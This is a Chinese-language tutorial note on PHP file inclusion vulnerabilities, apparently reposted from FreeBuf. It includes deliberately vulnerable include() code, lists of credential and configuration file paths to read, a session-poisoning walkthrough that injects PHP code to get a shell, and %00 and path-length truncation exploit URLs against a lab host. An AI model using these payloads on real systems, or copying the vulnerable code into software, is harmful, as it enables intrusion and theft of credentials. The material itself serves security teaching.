web檔案包含
web安全~檔案包含總結
文章來自freebuf,作者總結的很好,所以拿來做筆記用!!!
0×01 檔案包含簡介
伺服器執行PHP檔案時,可以通過檔案包含函式載入另一個檔案中的PHP程式碼,並且當PHP來執行,這會為開發者節省大量的時間。這意味著您可以建立供所有網頁引用的標準頁首或選單檔案。當頁首需要更新時,您只更新一個包含檔案就可以了,或者當您向網站新增一張新頁面時,僅僅需要修改一下選單檔案(而不是更新所有網頁中的連結)。
檔案包含函式
PHP中檔案包含函式有以下四種:
require()
require_once()
include()
include_once()
include
require
區別主要是,include
在包含的過程中如果出現錯誤,會丟擲一個警告,程式繼續正常執行;而require
函數出現錯誤的時候,會直接報錯並退出程式的執行。
而include_once()
,require_once()
這兩個函式,與前兩個的不同之處在於這兩個函式只包含一次,適用於在指令碼執行期間同一個檔案有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函式重定義,變數重新賦值等問題。
漏洞產生原因
檔案包含函式載入的引數沒有經過過濾或者嚴格的定義,可以被使用者控制,包含其他惡意檔案,導致了執行了非預期的程式碼。
示例程式碼
<?php
$filename = $_GET['filename'];
include($filename);
?>
例如:
$_GET['filename']
引數開發者沒有經過嚴格的過濾,直接帶入了include的函式,攻擊者可以修改$_GET['filename']
的值,執行非預期的操作。
0×02 本地檔案包含漏洞
無限制本地檔案包含漏洞
測試程式碼:
<?php
$filename = $_GET['filename'];
include($filename);
?>
測試結果:
通過目錄遍歷漏洞可以獲取到系統中其他檔案的內容:
常見的敏感資訊路徑:
Windows系統
c:\boot.ini // 檢視系統版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置檔案
c:\windows\repair\sam // 儲存Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置資訊
Linux/Unix系統
/etc/passwd // 賬戶資訊
/etc/shadow // 賬戶密碼檔案
/usr/local/app/apache2/conf/httpd.conf // Apache2預設配置檔案
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
/usr/local/app/php5/lib/php.ini // PHP相關配置
/etc/httpd/conf/httpd.conf // Apache配置檔案
/etc/my.conf // mysql 配置檔案
session檔案包含漏洞
利用條件:
session的儲存位置可以獲取。
1. 通過phpinfo的資訊可以獲取到session的儲存位置。
通過phpinfo的資訊,獲取到session.save_path為/var/lib/php/session:
2. 通過猜測預設的session存放位置進行嘗試。
如linux下預設儲存在/var/lib/php/session目錄下:
session中的內容可以被控制,傳入惡意程式碼。
示例:
漏洞分析
此php會將獲取到的GET型ctfs變數的值存入到session中。
當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs後,會在/var/lib/php/session目錄下儲存session的值。
session的檔名為sess_+sessionid,sessionid可以通過開發者模式獲取。
所以session的檔名為sess_akp79gfiedh13ho11i6f3sm6s6。
到伺服器的/var/lib/php/session目錄下檢視果然存在此檔案,內容為:
username|s:4:"ctfs";
[root@c21336db44d2 session]
漏洞利用
通過上面的分析,可以知道ctfs傳入的值會儲存到session檔案中,如果存在本地檔案包含漏洞,就可以通過ctfs寫入惡意程式碼到session檔案中,然後通過檔案包含漏洞執行此惡意程式碼getshell。
當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>後,會在/var/lib/php/session目錄下儲存session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"
攻擊者通過phpinfo()資訊洩露或者猜測能獲取到session存放的位置,檔名稱通過開發者模式可獲取到,然後通過檔案包含的漏洞解析惡意程式碼getshell。
有限制本地檔案包含漏洞繞過
%00截斷
條件:magic_quotes_gpc = Off php版本<5.3.4
測試程式碼:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
測試結果:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
路徑長度截斷
條件:windows OS,點號需要長於256;linux OS 長於4096
Windows下目錄最大長度為256位元組,超出的部分會被丟棄;
Linux下目錄最大長度為4096位元組,超出的部分會被丟棄。
測試程式碼:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
EXP:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.